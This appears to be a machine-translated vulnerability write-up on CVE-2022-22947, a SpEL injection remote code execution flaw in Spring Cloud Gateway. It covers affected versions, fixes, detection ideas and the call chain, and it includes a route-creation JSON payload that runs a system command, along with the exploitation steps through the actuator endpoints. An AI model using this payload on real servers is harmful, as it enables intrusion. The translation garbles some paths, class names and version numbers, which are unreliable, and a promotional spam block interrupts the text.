Introduction to the

A recent article revealed a remote code execution vulnerability in the open source Project Spring Cloud Gateway, numbered CVE-2022-22947.

Affected version

According to the official announcements of VMWare and Spring, the affected versions are:

  • 3.1.0
  • 3.0.0 to 3.0.6
  • Older, unsupported versions are also affected

Repair plan

Repair plans include:

  • 3.1.x users should upgrade to 3.1.1+ and 3.3. x users should upgrade to 3.0.7+.
  • This section describes how to configure options without affecting servicesmanagement.endpoint.gateway.enabledSet tofalseDisable the Gateway actuator endpoint.

Testing ideas

Traffic detection: Analyzes HTTP traffic and detects whether abnormal requests to access the ACTUATOR Gateway API exist.

The host:

  • Static detection: before and after repair by comparisonShortcutConfigurable.classThe difference in the file specifies the signature code from which yara rules are written to find if the affected version exists on the serverspring-cloud-gatewayThe jar package.
  • Dynamic detection: Looks for running Java processes on the server to see if they are loadedspring-cloud-gatewayThe jar package.

Vulnerability analysis

Currently, all the published vulnerability analysis articles are analyzing 3.x version. In order to confirm that 2.x version is also affected, this paper analyzes the finchley. RELEASE released in 2018, and the Spring Cloud Gateway version is 2.0.0.RELEASE.

Environment set up

The demo project code has been uploaded to the GitHub repository.

In the project, a route is defined through a configuration file. After starting the project, visit http://localhost:8080/ip and, if all is well, you will get the following results:

Using the method of

To POST method request/physical/gateway/routes/pentest, and submit the following data, is used to create a malicious routing:

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}

Copy the code
  • idField specifies the name of the new route, which must be globally unique.
  • filtersField specifies several filters for this route. Filters are used to modify requests and responses.
    • nameField specifies the filter to add, and one is added hereAddResponseHeaderFilter to add a response header before the Gateway returns a response to the client.
    • args.nameField specifies the response header to add.
    • args.valueField specifies the value of the response header. The value here is the SpEL expression to be executed for executionwhoamiCommand. Note Remove the newline character at the end of the command output; otherwise, the filter will throw an exception saying “the value of the response header cannot end with \r or \n”.
    • uriField specifies that the client request is forwarded tohttp://httpbin.org/get.
    • predicatesField specifies the condition that matches the route. Two conditions are specified here, one is that the method requested isGET, one is that the request URI is/pentest.

For other actuator Gateway apis, see the official documentation [^7].

And then to POST method request/physical/gateway/refresh, used to refresh the routing, gives effect to just add malicious routing.

Finally, request /pentest with GET method, trigger malicious routing. You can see the response header added by the filter in the response:

【 a > all resources to obtain < a 】 1, many have been unable to buy out of print e-books 2, security factory internal training materials 3, a full set of toolkit 4, 100 SRC source code technical documents 5, network security basic introduction, Linux, Web security, attack and defense video 6, emergency response notes 7, network security learning route CTF Flag contest analysis 9. WEB Security Introduction Notes

Analysis of repair scheme

Code Fix

First look at the commit to fix the bug in the official repository:

ShortcutConfigurable interface in the getValue method, using custom GatewayEvaluationContext replaced the original StandardEvaluationContext class. Look at the implementation of the GatewayEvaluationContext class, which is a simple wrapper around the SimpleEvaluationContext class.

By querying document, the class is implemented by all the StandardEvaluationContext and SimpleEvaluationContext Spring SpEL expression of interface, the difference is that the former support SpEL expression all the features, The latter acts as a sandbox, limiting functionality such as references to Java classes. So by putting a StandardEvaluationContext replacement for GatewayEvaluationContext, can restrict the executive SpEL expression of injection.

Disable the physical gateway

Through the front and the exploit process as you can see, the first thing you need to pass/physical/gateway/routes / {id} API to create a routing. Therefore, if this API is prohibited, the vulnerability can also be fixed. [[^7]](Cloud.spring. IO /spring-clou… The Actuator Gateway needs to set the following two configurations:

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

Copy the code

Therefore, unless both options are met, the actuator Gateway is not enabled.

Thinking of Vulnerability analysis

Starting with the ShortCut64x interface, most of the built-in filters inherit the ShortCut64x interface. Second, RouteDefinitionRouteLocator class (org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator class) of a private method The loadGatewayFilters function calls the Normalize method of the ShortCut64x interface:

Through simple backtracking, RouteDefinitionRouteLocator class public methods getRoutes will eventually call loadGatewayFilters method, invocation chain is:

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

Copy the code

Therefore the /actuator/gateway/routes URI also triggers the execution of the SpEL expression.

Take a closer look at the key functionality of the loadGatewayFilters method:

  • parameteridIs the name of the route, that is, the parameter when defining the routeidThe value of the. parameterfilterDefinitionsIs an array of filter objects defined in the route.
  • Method to traverse an array of filter objects:
    • Checks whether the specified filter exists. If it does not exist, an exception is thrownUnable to find GatewayFilterFactory with name.
    • If yes, obtain the filter parameters and print debug logsRouteDefinition {id} applying filter {args} to {filter}.
    • callnormalizeMethod if the value of the argument isSpELThe expression is executed; otherwise, it returns directly.
    • The configuration object is created using the processed parameters, and then the filter instance is created using the filter factory and saved into an array.

2. Differences between x and 3.x versions

Emphasis on a hole, there is no difference, both are ShortcutConfigurable interface getValue method were used in the StandardEvaluationContext class to perform SpEL expression.

The first difference is that version 2.x requires an additional request after refreshing the route to trigger the execution of the SpEL expression. In the 3.x version, routes are refreshed immediately.

The second difference is in the call chain for this method. A search of the source code shows that only the Normalize method is called in the ConfigurationService class’s inner class, the ConfigurableBuilder’s normalizeProperties method, which overrides the methods in the parent class. The ConfigurableBuilder class inherits from an internal abstract class called AbstractBuilder. The AbstractBuilder class has a public method called bind that calls the normalizeProperties method.

Following up on the references to the bind method, there are three:

  • AbstractRateLimiterOf the classonApplicationEventMethods.
  • RouteDefinitionRouteLocatorOf the classloadGatewayFiltersMethods andlookupMethods.

You can then go back and see all the places that might trigger the execution of an SpEL expression.